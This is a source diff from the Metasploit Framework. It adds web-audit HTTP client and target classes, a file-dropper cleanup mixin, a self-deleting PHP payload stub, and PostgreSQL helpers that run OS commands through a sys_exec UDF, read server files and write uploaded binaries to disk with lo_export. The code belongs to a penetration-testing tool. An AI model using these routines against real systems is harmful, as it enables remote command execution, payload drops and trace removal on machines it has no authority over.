def connect
|
||||
c = Rex::Proto::Http::Client.new(
|
||||
opts[:target].host,
|
||||
opts[:target].port,
|
||||
{},
|
||||
opts[:target].ssl,
|
||||
'SSLv23'
|
||||
)
|
||||
|
||||
c.set_config({
|
||||
'vhost' => opts[:target].vhost,
|
||||
'agent' => opts[:user_agent] || 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)',
|
||||
})
|
||||
c
|
||||
end
|
||||
|
||||
def run
|
||||
return if @queue.empty?
|
||||
|
||||
tl = []
|
||||
loop do
|
||||
# Spawn threads for each host
|
||||
while tl.size <= (opts[:max_threads] || 5) && !@queue.empty? && (req = @queue.pop)
|
||||
tl << framework.threads.spawn( "#{self.class.name} - #{req})", false, req ) do |request|
|
||||
request.handle_response request( request.url, request.opts )
|
||||
end
|
||||
end
|
||||
|
||||
break if tl.empty?
|
||||
tl.reject! { |t| !t.alive? }
|
||||
|
||||
select( nil, nil, nil, 0.05 )
|
||||
end
|
||||
|
||||
call_after_run_blocks
|
||||
end
|
||||
|
||||
def request( url, opts = {} )
|
||||
rlimit = self.redirect_limit
|
||||
|
||||
while rlimit >= 0
|
||||
rlimit -= 1
|
||||
res = _request( url, opts )
|
||||
return res if !opts[:follow_redirect] || !url = res.headers['location']
|
||||
end
|
||||
nil
|
||||
end
|
||||
|
||||
def request_async( url, opts = {}, &callback )
|
||||
queue Request.new( url, opts, &callback )
|
||||
end
|
||||
|
||||
def get_async( url, opts = {}, &callback )
|
||||
request_async( url, opts.merge( :method => :get ), &callback )
|
||||
end
|
||||
|
||||
def post_async( url, opts = {}, &callback )
|
||||
request_async( url, opts.merge( :method => :post ), &callback )
|
||||
end
|
||||
|
||||
def get( url, opts = {} )
|
||||
request( url, opts.merge( :method => :get ) )
|
||||
end
|
||||
|
||||
def post( url, opts = {} )
|
||||
request( url, opts.merge( :method => :post ) )
|
||||
end
|
||||
|
||||
def if_not_custom_404( path, body, &callback )
|
||||
custom_404?( path, body ) { |b| callback.call if !b }
|
||||
end
|
||||
|
||||
def custom_404?( path, body, &callback )
|
||||
return if !path || !body
|
||||
|
||||
precision = 2
|
||||
|
||||
trv_back = File.dirname( path )
|
||||
trv_back << '/' if trv_back[-1,1] != '/'
|
||||
|
||||
# 404 probes
|
||||
generators = [
|
||||
# get a random path with an extension
|
||||
proc{ path + Rex::Text.rand_text_alpha( 10 ) + '.' + Rex::Text.rand_text_alpha( 10 )[0..precision] },
|
||||
|
||||
# get a random path without an extension
|
||||
proc{ path + Rex::Text.rand_text_alpha( 10 ) },
|
||||
|
||||
# move up a dir and get a random file
|
||||
proc{ trv_back + Rex::Text.rand_text_alpha( 10 ) },
|
||||
|
||||
# move up a dir and get a random file with an extension
|
||||
proc{ trv_back + Rex::Text.rand_text_alpha( 10 ) + '.' + Rex::Text.rand_text_alpha( 10 )[0..precision] },
|
||||
|
||||
# get a random directory
|
||||
proc{ path + Rex::Text.rand_text_alpha( 10 ) + '/' }
|
||||
]
|
||||
|
||||
synchronize do
|
||||
@@_404 ||= {}
|
||||
@@_404[path] ||= []
|
||||
|
||||
@@_404_gathered ||= Set.new
|
||||
|
||||
gathered = 0
|
||||
if !@@_404_gathered.include?( path.hash )
|
||||
generators.each.with_index do |generator, i|
|
||||
@@_404[path][i] ||= {}
|
||||
|
||||
precision.times {
|
||||
get_async( generator.call, :follow_redirect => true ) do |res|
|
||||
gathered += 1
|
||||
|
||||
if gathered == generators.size * precision
|
||||
@@_404_gathered << path.hash
|
||||
callback.call is_404?( path, body )
|
||||
else
|
||||
@@_404[path][i]['rdiff_now'] ||= false
|
||||
|
||||
if !@@_404[path][i]['body']
|
||||
@@_404[path][i]['body'] = res.body
|
||||
else
|
||||
@@_404[path][i]['rdiff_now'] = true
|
||||
end
|
||||
|
||||
if @@_404[path][i]['rdiff_now'] && !@@_404[path][i]['rdiff']
|
||||
@@_404[path][i]['rdiff'] = Rex::Text.refine( @@_404[path][i]['body'], res.body )
|
||||
end
|
||||
end
|
||||
end
|
||||
}
|
||||
end
|
||||
else
|
||||
callback.call is_404?( path, body )
|
||||
end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def call_after_run_blocks
|
||||
while block = @after_run_blocks.pop
|
||||
block.call
|
||||
end
|
||||
end
|
||||
|
||||
def synchronize( &block )
|
||||
(@mutex ||= Mutex.new).synchronize( &block )
|
||||
end
|
||||
|
||||
def is_404?( path, body )
|
||||
@@_404[path].each { |_404| return true if Rex::Text.refine( _404['body'], body ) == _404['rdiff'] }
|
||||
false
|
||||
end
|
||||
|
||||
def queue( request )
|
||||
@queue << request
|
||||
end
|
||||
|
||||
def _request( url, opts = {} )
|
||||
body = opts[:body]
|
||||
timeout = opts[:timeout] || 10
|
||||
method = opts[:method].to_s.upcase || 'GET'
|
||||
url = url.is_a?( URI ) ? url : URI( url.to_s )
|
||||
|
||||
param_opts = {}
|
||||
|
||||
if !(vars_get = Auxiliary::Web::Form.query_to_params( url.query )).empty?
|
||||
param_opts['vars_get'] = vars_get
|
||||
end
|
||||
|
||||
if method == 'GET'
|
||||
param_opts['vars_get'] ||= {}
|
||||
param_opts['vars_get'].merge!( opts[:params] ) if opts[:params].is_a?( Hash )
|
||||
elsif method == 'POST'
|
||||
param_opts['vars_post'] = opts[:params] || {}
|
||||
end
|
||||
|
||||
opts = @request_opts.merge( param_opts ).merge(
|
||||
'uri' => url.path || '/',
|
||||
'method' => method,
|
||||
'headers' => headers.merge( opts[:headers] || {} )
|
||||
)
|
||||
|
||||
opts['data'] = body if body
|
||||
|
||||
c = connect
|
||||
Response.from_rex_response c.send_recv( c.request_cgi( opts ), timeout )
|
||||
rescue ::Timeout::Error
|
||||
Response.timed_out
|
||||
rescue ::Errno::EPIPE, Rex::ConnectionTimeout
|
||||
Response.empty
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,128 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'net/https'
|
||||
require 'net/http'
|
||||
require 'uri'
|
||||
|
||||
module Msf
|
||||
|
||||
#
|
||||
# Represents a webpage path.
|
||||
#
|
||||
module Auxiliary::Web
|
||||
|
||||
|
||||
class Path < Fuzzable
|
||||
|
||||
# URL String to which to submit the params
|
||||
attr_accessor :action
|
||||
|
||||
# Injected value as a String
|
||||
attr_accessor :input
|
||||
|
||||
# Mdm::WebForm model if available
|
||||
attr_accessor :model
|
||||
|
||||
#
|
||||
# opts - Options Hash (default: {})
|
||||
# :action - Action URL of the form
|
||||
# :inputs - PATH_INFO as a String
|
||||
#
|
||||
def initialize( opts = {} )
|
||||
self.action = opts[:action]
|
||||
self.action.chop! if self.action.end_with?( '?' )
|
||||
|
||||
self.input = (opts[:inputs] || opts[:input]).to_s.dup
|
||||
end
|
||||
|
||||
#
|
||||
# Sets the injected PATH_INFO value.
|
||||
#
|
||||
# value - PATH_INFO String.
|
||||
#
|
||||
def input=( value )
|
||||
@inputs = value.to_s.dup
|
||||
end
|
||||
alias :param :input
|
||||
|
||||
#
|
||||
# Examples
|
||||
#
|
||||
# { :name => input, :value => input, :type => 'path' }
|
||||
#
|
||||
def inputs
|
||||
{ :name => input, :value => input, :type => 'path' }
|
||||
end
|
||||
|
||||
#
|
||||
# Examples
|
||||
#
|
||||
# { input => input }
|
||||
#
|
||||
def params
|
||||
{ input => input }
|
||||
end
|
||||
|
||||
#
|
||||
# Returns 'path'
|
||||
#
|
||||
def altered
|
||||
'path'
|
||||
end
|
||||
|
||||
# Returns the PATH_INFO as a String.
|
||||
def altered_value
|
||||
input
|
||||
end
|
||||
|
||||
def altered_value=( value )
|
||||
self.input = value.to_s.dup
|
||||
end
|
||||
|
||||
def request( opts = {} )
|
||||
uri = URI( action )
|
||||
path = uri.path
|
||||
path << '/' if !path.end_with?( '/' )
|
||||
|
||||
[ "#{path}/#{param}?#{uri.query}", opts.merge( :method => method ) ]
|
||||
end
|
||||
|
||||
# Bool - true if PATH_INFO is empty, false otherwise.
|
||||
def empty?
|
||||
param.empty?
|
||||
end
|
||||
|
||||
#
|
||||
# A copy of self with seed as PATH_INFO.
|
||||
#
|
||||
# seed - String to use as PATH_INFO.
|
||||
#
|
||||
def permutations
|
||||
return [] if empty?
|
||||
seeds_for( value ).map { |seed| permutation_for( nil, seed ) }.uniq
|
||||
end
|
||||
|
||||
def permutation_for( field_name, field_value )
|
||||
path = self.dup
|
||||
path.input = field_value.dup
|
||||
path
|
||||
end
|
||||
|
||||
def to_hash
|
||||
{ :action => action.dup, :input => input.dup }
|
||||
end
|
||||
|
||||
def self.from_model( form )
|
||||
e = new( :action => "#{form.path}?#{form.query}", :input => inputs[0][1] )
|
||||
e.model = form
|
||||
e
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,144 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'net/https'
|
||||
require 'net/http'
|
||||
require 'uri'
|
||||
|
||||
module Msf
|
||||
|
||||
#
|
||||
# Represents a targeted web application and holds service, host, post etc. info.
|
||||
#
|
||||
class Auxiliary::Web::Target
|
||||
|
||||
# Original URL as a String.
|
||||
attr_accessor :original
|
||||
|
||||
# Service information as an Mdm::Service object.
|
||||
attr_accessor :service
|
||||
|
||||
# Mdm::WebSite object.
|
||||
attr_accessor :site
|
||||
|
||||
# True if HTTPS, False otherwise.
|
||||
attr_accessor :ssl
|
||||
|
||||
# IP address as a String.
|
||||
attr_accessor :host
|
||||
|
||||
# Virtual host as a String.
|
||||
attr_accessor :vhost
|
||||
|
||||
# String URI path.
|
||||
attr_accessor :path
|
||||
|
||||
# String URI query.
|
||||
attr_accessor :query
|
||||
|
||||
# Port Number.
|
||||
attr_accessor :port
|
||||
|
||||
# Port Number.
|
||||
attr_accessor :username
|
||||
|
||||
# Port Number.
|
||||
attr_accessor :password
|
||||
|
||||
# Array of Web::Form objects.
|
||||
attr_accessor :forms
|
||||
|
||||
# Array of Web::Path objects.
|
||||
attr_accessor :paths
|
||||
|
||||
#
|
||||
# options - Hash with which to populate self (keys must correspond to attributes):
|
||||
# :service
|
||||
# :ssl
|
||||
# :host
|
||||
# :vhost
|
||||
# :path
|
||||
# :port
|
||||
# :forms
|
||||
# :auditable
|
||||
#
|
||||
def initialize( options = {} )
|
||||
update( options )
|
||||
end
|
||||
|
||||
#
|
||||
# options - Hash with which to update self (keys must correspond to attributes):
|
||||
# :service
|
||||
# :ssl
|
||||
# :host
|
||||
# :vhost
|
||||
# :path
|
||||
# :port
|
||||
# :forms
|
||||
# :auditable
|
||||
#
|
||||
def update( options = {} )
|
||||
options.each { |k, v| send( "#{k}=", v ) }
|
||||
|
||||
@forms ||= []
|
||||
@paths ||= []
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
#
|
||||
# Pushes an auditable element.
|
||||
#
|
||||
# element - Web::Form or Web::Path or Mdm::WebForm
|
||||
#
|
||||
def <<( element )
|
||||
|
||||
case element
|
||||
when Auxiliary::Web::Path
|
||||
@paths << element
|
||||
when Auxiliary::Web::Form
|
||||
@forms << element
|
||||
when Mdm::WebForm
|
||||
self.<< element.method.to_s.downcase == 'path' ?
|
||||
Auxiliary::Web::Path.from_model( element ) :
|
||||
Auxiliary::Web::Form.from_model( element )
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Array of accumulated auditable elements.
|
||||
#
|
||||
def auditable
|
||||
self.forms | self.paths
|
||||
end
|
||||
|
||||
def host
|
||||
return if !@host
|
||||
Rex::Socket.is_ipv6?( @host ) ? "[#{@host}]" : @host
|
||||
end
|
||||
|
||||
# String protocol representation (http or https).
|
||||
def proto
|
||||
ssl? ? 'https' : 'http'
|
||||
end
|
||||
|
||||
# True if HTTPS, False otherwise.
|
||||
def ssl?
|
||||
!!@ssl
|
||||
end
|
||||
|
||||
# String URL to the webapp.
|
||||
def to_url
|
||||
"#{proto}://#{vhost || host}:#{port}#{path}"
|
||||
end
|
||||
|
||||
def dup
|
||||
Marshal.load( Marshal.dump( self ) )
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -2373,6 +2373,9 @@ class DBManager
|
|||
desc = opts[:description].to_s.strip
|
||||
conf = opts[:confidence].to_i
|
||||
cat = opts[:category].to_s.strip
|
||||
payload = opts[:payload].to_s
|
||||
owner = opts[:owner] ? opts[:owner].shortname : nil
|
||||
|
||||
|
||||
site = nil
|
||||
|
||||
|
@ -2426,6 +2429,9 @@ class DBManager
|
|||
vuln.blame = blame
|
||||
vuln.description = desc
|
||||
vuln.confidence = conf
|
||||
vuln.payload = payload
|
||||
vuln.owner = owner
|
||||
|
||||
msf_import_timestamps(opts, vuln)
|
||||
vuln.save!
|
||||
|
||||
|
|
|
@ -196,7 +196,7 @@ class DBManager
|
|||
|
||||
# Prefer the config file's pool setting
|
||||
nopts['pool'] ||= 75
|
||||
|
||||
|
||||
# Prefer the config file's wait_timeout setting too
|
||||
nopts['wait_timeout'] ||= 300
|
||||
|
||||
|
@ -342,11 +342,13 @@ class DBManager
|
|||
return if not self.migrated
|
||||
return if self.modules_caching
|
||||
|
||||
self.framework.cache_thread = Thread.current
|
||||
|
||||
self.modules_cached = false
|
||||
self.modules_caching = true
|
||||
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
|
||||
|
||||
refresh = []
|
||||
skipped = []
|
||||
|
||||
|
@ -373,7 +375,6 @@ class DBManager
|
|||
refresh.each {|md| md.destroy }
|
||||
refresh = nil
|
||||
|
||||
stime = Time.now.to_f
|
||||
[
|
||||
[ 'exploit', framework.exploits ],
|
||||
[ 'auxiliary', framework.auxiliary ],
|
||||
|
@ -394,6 +395,9 @@ class DBManager
|
|||
end
|
||||
end
|
||||
|
||||
self.framework.cache_initialized = true
|
||||
self.framework.cache_thread = nil
|
||||
|
||||
self.modules_cached = true
|
||||
self.modules_caching = false
|
||||
|
||||
|
@ -460,16 +464,16 @@ class DBManager
|
|||
|
||||
res[:description] = m.description.to_s.strip
|
||||
|
||||
m.arch.map{ |x|
|
||||
bits << [ :arch, { :name => x.to_s } ]
|
||||
m.arch.map{ |x|
|
||||
bits << [ :arch, { :name => x.to_s } ]
|
||||
}
|
||||
|
||||
m.platform.platforms.map{ |x|
|
||||
bits << [ :platform, { :name => x.to_s.split('::').last.downcase } ]
|
||||
m.platform.platforms.map{ |x|
|
||||
bits << [ :platform, { :name => x.to_s.split('::').last.downcase } ]
|
||||
}
|
||||
|
||||
m.author.map{|x|
|
||||
bits << [ :author, { :name => x.to_s } ]
|
||||
m.author.map{|x|
|
||||
bits << [ :author, { :name => x.to_s } ]
|
||||
}
|
||||
|
||||
m.references.map do |r|
|
||||
|
@ -500,14 +504,14 @@ class DBManager
|
|||
# Some modules are a combination, which means they are actually aggressive
|
||||
res[:stance] = m.stance.to_s.index("aggressive") ? "aggressive" : "passive"
|
||||
|
||||
|
||||
|
||||
m.class.mixins.each do |x|
|
||||
bits << [ :mixin, { :name => x.to_s } ]
|
||||
end
|
||||
end
|
||||
|
||||
if(m.type == "auxiliary")
|
||||
|
||||
|
||||
m.actions.each_index do |i|
|
||||
bits << [ :action, { :name => m.actions[i].name.to_s } ]
|
||||
end
|
||||
|
@ -523,9 +527,9 @@ class DBManager
|
|||
|
||||
res
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#
|
||||
# This provides a standard set of search filters for every module.
|
||||
# The search terms are in the form of:
|
||||
|
@ -562,7 +566,7 @@ class DBManager
|
|||
end
|
||||
|
||||
::ActiveRecord::Base.connection_pool.with_connection {
|
||||
|
||||
|
||||
where_q = []
|
||||
where_v = []
|
||||
|
||||
|
@ -572,12 +576,12 @@ class DBManager
|
|||
case kt
|
||||
when 'text'
|
||||
xv = "%#{kv}%"
|
||||
where_q << ' ( ' +
|
||||
where_q << ' ( ' +
|
||||
'module_details.fullname ILIKE ? OR module_details.name ILIKE ? OR module_details.description ILIKE ? OR ' +
|
||||
'module_authors.name ILIKE ? OR module_actions.name ILIKE ? OR module_archs.name ILIKE ? OR ' +
|
||||
'module_targets.name ILIKE ? OR module_platforms.name ILIKE ? ' +
|
||||
'module_targets.name ILIKE ? OR module_platforms.name ILIKE ? OR module_refs.name ILIKE ?' +
|
||||
') '
|
||||
where_v << [ xv, xv, xv, xv, xv, xv, xv, xv ]
|
||||
where_v << [ xv, xv, xv, xv, xv, xv, xv, xv, xv ]
|
||||
when 'name'
|
||||
xv = "%#{kv}%"
|
||||
where_q << ' ( module_details.fullname ILIKE ? OR module_details.name ILIKE ? ) '
|
||||
|
@ -594,7 +598,7 @@ class DBManager
|
|||
# TODO
|
||||
when 'type'
|
||||
where_q << ' ( module_details.mtype = ? ) '
|
||||
where_v << [ kv ]
|
||||
where_v << [ kv ]
|
||||
when 'app'
|
||||
where_q << ' ( module_details.stance = ? )'
|
||||
where_v << [ ( kv == "client") ? "passive" : "active" ]
|
||||
|
@ -604,11 +608,11 @@ class DBManager
|
|||
when 'cve','bid','osvdb','edb'
|
||||
where_q << ' ( module_refs.name = ? )'
|
||||
where_v << [ kt.upcase + '-' + kv ]
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
qry = Mdm::ModuleDetail.select("DISTINCT(module_details.*)").
|
||||
joins(
|
||||
"LEFT OUTER JOIN module_authors ON module_details.id = module_authors.module_detail_id " +
|
||||
|
@ -629,4 +633,3 @@ class DBManager
|
|||
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,108 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
module Exploit::FileDropper
|
||||
|
||||
#
|
||||
# When a new session is created, attempt to delete any files that the
|
||||
# exploit created.
|
||||
#
|
||||
# @param (see Msf::Exploit#on_new_session)
|
||||
# @return [void]
|
||||
#
|
||||
def on_new_session(session)
|
||||
if session.type == "meterpreter"
|
||||
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
|
||||
end
|
||||
|
||||
@dropped_files.delete_if do |file|
|
||||
win_file = file.gsub("/", "\\\\")
|
||||
if session.type == "meterpreter"
|
||||
begin
|
||||
# Meterpreter should do this automatically as part of
|
||||
# fs.file.rm(). Until that has been implemented, remove the
|
||||
# read-only flag with a command.
|
||||
session.shell_command_token(%Q|attrib.exe -r "#{win_file}"|)
|
||||
session.fs.file.rm(file)
|
||||
print_good("Deleted #{file}")
|
||||
true
|
||||
rescue ::Rex::Post::Meterpreter::RequestError
|
||||
false
|
||||
end
|
||||
else
|
||||
cmds = [
|
||||
%Q|attrib.exe -r "#{win_file}"|,
|
||||
%Q|del.exe /f /q "#{win_file}"|,
|
||||
%Q|rm -f "#{file}" >/dev/null|,
|
||||
]
|
||||
|
||||
# We need to be platform-independent here. Since we can't be
|
||||
# certain that {#target} is accurate because exploits with
|
||||
# automatic targets frequently change it, we just go ahead and
|
||||
# run both a windows and a unixy command in the same line. One
|
||||
# of them will definitely fail and the other will probably
|
||||
# succeed. Doing it this way saves us an extra round-trip.
|
||||
session.shell_command_token(cmds.join(" ; "))
|
||||
print_good("Deleted #{file}")
|
||||
true
|
||||
end
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Record file as needing to be cleaned up
|
||||
#
|
||||
# @param [Array<String>] files List of paths on the target that should
|
||||
# be deleted during cleanup. Each filename should be either a full
|
||||
# path or relative to the current working directory of the session
|
||||
# (not necessarily the same as the cwd of the server we're
|
||||
# exploiting).
|
||||
# @return [void]
|
||||
def register_files_for_cleanup(*files)
|
||||
@dropped_files ||= []
|
||||
@dropped_files += files
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
# Singular version
|
||||
alias register_file_for_cleanup register_files_for_cleanup
|
||||
|
||||
#
|
||||
# While the exploit cleanup do a last attempt to delete any files created
|
||||
# if there is a file_rm method available. Warn the user if any files were
|
||||
# not cleaned up.
|
||||
#
|
||||
# @see Msf::Exploit#cleanup
|
||||
# @see Msf::Post::File#file_rm
|
||||
def cleanup
|
||||
super
|
||||
|
||||
# Check if file_rm method is available (local exploit, mixin support, module support)
|
||||
if not @dropped_files or @dropped_files.empty?
|
||||
return
|
||||
end
|
||||
|
||||
if respond_to?(:file_rm)
|
||||
@dropped_files.delete_if do |file|
|
||||
begin
|
||||
file_rm(file)
|
||||
print_good("Deleted #{file}")
|
||||
true
|
||||
#rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE, ::Rex::Post::Meterpreter::RequestError => e
|
||||
rescue ::Exception => e
|
||||
vprint_error("Failed to delete #{file}: #{e.to_s}")
|
||||
false
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@dropped_files.each do |f|
|
||||
print_warning("This exploit may require manual cleanup of: #{f}")
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -621,11 +621,11 @@ module Exploit::Remote::HttpClient
|
|||
|
||||
# Bail if we don't have anything to fingerprint
|
||||
return if not res
|
||||
|
||||
|
||||
# From here to the end simply does some pre-canned combining and custom matches
|
||||
# to build a human-readable string to store in service.info
|
||||
extras = []
|
||||
|
||||
|
||||
if res.headers['Set-Cookie'] =~ /^vmware_soap_session/
|
||||
extras << "VMWare Web Services"
|
||||
end
|
||||
|
|
|
@ -81,6 +81,7 @@ require 'msf/core/exploit/oracle'
|
|||
|
||||
# tekniqz
|
||||
require 'msf/core/exploit/fmtstr'
|
||||
require 'msf/core/exploit/file_dropper'
|
||||
|
||||
# Java
|
||||
require 'msf/core/exploit/java'
|
||||
|
@ -91,3 +92,5 @@ require 'msf/core/exploit/wbemexec'
|
|||
#WinRM
|
||||
require 'msf/core/exploit/winrm'
|
||||
|
||||
# WebApp
|
||||
require 'msf/core/exploit/web'
|
||||
|
|
|
@ -50,7 +50,7 @@ module Exploit::PhpEXE
|
|||
end
|
||||
if target["Platform"] == 'win'
|
||||
bin_name << ".exe"
|
||||
print_debug("Unable to clean up #{bin_name}, delete it manually")
|
||||
print_warning("Unable to clean up #{bin_name}, delete it manually")
|
||||
end
|
||||
p = Rex::Text.encode_base64(generate_payload_exe)
|
||||
php = %Q{
|
||||
|
@ -74,7 +74,9 @@ module Exploit::PhpEXE
|
|||
end
|
||||
|
||||
if opts[:unlink_self]
|
||||
php << "unlink(__FILE__);"
|
||||
# Prepend instead of appending to make sure it happens no matter
|
||||
# what the payload normally does.
|
||||
php = "@unlink(__FILE__);" + php
|
||||
end
|
||||
|
||||
php.gsub!(/#.*$/, '')
|
||||
|
|
|
@ -1,4 +1,3 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'msf/core'
|
||||
|
||||
module Msf
|
||||
|
@ -12,6 +11,7 @@ module Msf
|
|||
module Exploit::Remote::Postgres
|
||||
|
||||
require 'postgres_msf'
|
||||
require 'base64'
|
||||
include Msf::Db::PostgresPR
|
||||
attr_accessor :postgres_conn
|
||||
|
||||
|
@ -53,11 +53,11 @@ module Exploit::Remote::Postgres
|
|||
ip = args[:server] || datastore['RHOST']
|
||||
port = args[:port] || datastore['RPORT']
|
||||
uri = "tcp://#{ip}:#{port}"
|
||||
|
||||
|
||||
if Rex::Socket.is_ipv6?(ip)
|
||||
uri = "tcp://[#{ip}]:#{port}"
|
||||
end
|
||||
|
||||
|
||||
verbose = args[:verbose] || datastore['VERBOSE']
|
||||
begin
|
||||
self.postgres_conn = Connection.new(db,username,password,uri)
|
||||
|
@ -98,7 +98,6 @@ module Exploit::Remote::Postgres
|
|||
def postgres_query(sql=nil,doprint=false)
|
||||
ip = datastore['RHOST']
|
||||
port = datastore['RPORT']
|
||||
verbose = datastore['VERBOSE']
|
||||
postgres_login unless self.postgres_conn
|
||||
unless self.postgres_conn
|
||||
return {:conn_error => true}
|
||||
|
@ -155,18 +154,17 @@ module Exploit::Remote::Postgres
|
|||
# postgres_fingerprint attempts to fingerprint a remote Postgresql instance,
|
||||
# inferring version number from the failed authentication messages.
|
||||
def postgres_fingerprint(args={})
|
||||
postgres_logout if self.postgres_conn
|
||||
return postgres_authed_fingerprint if self.postgres_conn
|
||||
db = args[:database] || datastore['DATABASE']
|
||||
username = args[:username] || datastore['USERNAME']
|
||||
password = args[:password] || datastore['PASSWORD']
|
||||
rhost = args[:server] || datastore['RHOST']
|
||||
rport = args[:port] || datastore['RPORT']
|
||||
|
||||
|
||||
uri = "tcp://#{rhost}:#{rport}"
|
||||
if Rex::Socket.is_ipv6?(rhost)
|
||||
uri = "tcp://[#{rhost}]:#{rport}"
|
||||
end
|
||||
|
||||
|
||||
verbose = args[:verbose] || datastore['VERBOSE']
|
||||
begin
|
||||
|
@ -175,11 +173,13 @@ module Exploit::Remote::Postgres
|
|||
version_hash = analyze_auth_error e
|
||||
return version_hash
|
||||
end
|
||||
if self.postgres_conn # Just ask for the version.
|
||||
resp = postgres_query("select version()",false)
|
||||
ver = resp[:complete].rows[0][0]
|
||||
return {:auth => ver}
|
||||
end
|
||||
return postgres_authed_fingerprint if self.postgres_conn
|
||||
end
|
||||
|
||||
def postgres_authed_fingerprint
|
||||
resp = postgres_query("select version()",false)
|
||||
ver = resp[:complete].rows[0][0]
|
||||
return {:auth => ver}
|
||||
end
|
||||
|
||||
# Matches up filename, line number, and routine with a version.
|
||||
|
@ -264,7 +264,7 @@ module Exploit::Remote::Postgres
|
|||
read_query = %Q{CREATE TEMP TABLE #{temp_table_name} (INPUT TEXT);
|
||||
COPY #{temp_table_name} FROM '#{filename}';
|
||||
SELECT * FROM #{temp_table_name}}
|
||||
read_return = postgres_query(read_query)
|
||||
return postgres_query(read_query,true)
|
||||
end
|
||||
|
||||
def postgres_has_database_privilege(priv)
|
||||
|
@ -291,6 +291,7 @@ module Exploit::Remote::Postgres
|
|||
# This presumes the pg_temp.sys_exec() udf has been installed, almost
|
||||
# certainly by postgres_create_sys_exec()
|
||||
def postgres_sys_exec(cmd)
|
||||
print_status "Attempting to Execute: #{cmd}"
|
||||
q = "select pg_temp.sys_exec('#{cmd}')"
|
||||
resp = postgres_query(q)
|
||||
if resp[:sql_error]
|
||||
|
@ -300,10 +301,16 @@ module Exploit::Remote::Postgres
|
|||
return true
|
||||
end
|
||||
|
||||
|
||||
# Takes a local filename and uploads it into a table as a Base64 encoded string.
|
||||
# Returns an array if successful, false if not.
|
||||
def postgres_upload_binary_file(fname)
|
||||
data = postgres_base64_file(fname)
|
||||
def postgres_upload_binary_file(fname, remote_fname=nil)
|
||||
data = File.read(fname)
|
||||
postgres_upload_binary_data(data, remote_fname)
|
||||
end
|
||||
|
||||
def postgres_upload_binary_data(data, remote_fname=nil)
|
||||
data = postgres_base64_data(data)
|
||||
tbl,fld = postgres_create_stager_table
|
||||
return false unless data && tbl && fld
|
||||
q = "insert into #{tbl}(#{fld}) values('#{data}')"
|
||||
|
@ -312,20 +319,48 @@ module Exploit::Remote::Postgres
|
|||
print_error resp[:sql_error]
|
||||
return false
|
||||
end
|
||||
oid, fout = postgres_write_data_to_disk(tbl,fld)
|
||||
oid, fout = postgres_write_data_to_disk(tbl,fld,remote_fname)
|
||||
return false unless oid && fout
|
||||
return [tbl,fld,fout,oid]
|
||||
end
|
||||
|
||||
# Writes b64 data from a table field, decoded, to disk.
|
||||
def postgres_write_data_to_disk(tbl,fld)
|
||||
#
|
||||
# This is accomplished with 3 sql queries:
|
||||
# 1. select lo_create
|
||||
# 2. version dependant:
|
||||
# - on 9.x, insert into pg_largeobject
|
||||
# - on older versions, update pg_largeobject
|
||||
# 3. select lo_export to write the file to disk
|
||||
#
|
||||
def postgres_write_data_to_disk(tbl,fld,remote_fname=nil)
|
||||
oid = rand(60000) + 1000
|
||||
fname = Rex::Text::rand_text_alpha(8) + ".dll"
|
||||
queries = [
|
||||
"select lo_create(#{oid})",
|
||||
"update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}",
|
||||
"select lo_export(#{oid}, '#{fname}')"
|
||||
]
|
||||
remote_fname ||= Rex::Text::rand_text_alpha(8) + ".dll"
|
||||
|
||||
ver = postgres_fingerprint
|
||||
case ver[:auth]
|
||||
when /PostgreSQL 9\./
|
||||
# 9.x does *not* insert the largeobject into the table when you do
|
||||
# the lo_create, so we must insert it ourselves.
|
||||
queries = [
|
||||
"select lo_create(#{oid})",
|
||||
"insert into pg_largeobject select #{oid}, 0, decode((select #{fld} from #{tbl}), 'base64')",
|
||||
"select lo_export(#{oid}, '#{remote_fname}')"
|
||||
]
|
||||
else
|
||||
# 8.x inserts the largeobject into the table when you do the
|
||||
# lo_create, so we with a value.
|
||||
#
|
||||
# 7.x is an unknown, but this behavior was the default before the
|
||||
# addition of support for 9.x above, so try it this way and hope
|
||||
# for the best
|
||||
queries = [
|
||||
"select lo_create(#{oid})",
|
||||
"update pg_largeobject set data=(decode((select #{fld} from #{tbl}), 'base64')) where loid=#{oid}",
|
||||
"select lo_export(#{oid}, '#{remote_fname}')"
|
||||
]
|
||||
end
|
||||
|
||||
queries.each do |q|
|
||||
resp = postgres_query(q)
|
||||
if resp && resp[:sql_error]
|
||||
|
@ -334,15 +369,20 @@ module Exploit::Remote::Postgres
|
|||
break
|
||||
end
|
||||
end
|
||||
return oid,fname
|
||||
return oid,remote_fname
|
||||
end
|
||||
|
||||
# Base64's a file and returns the data.
|
||||
def postgres_base64_file(fname)
|
||||
data = File.open(fname, "rb") {|f| f.read f.stat.size}
|
||||
postgres_base64_data(data)
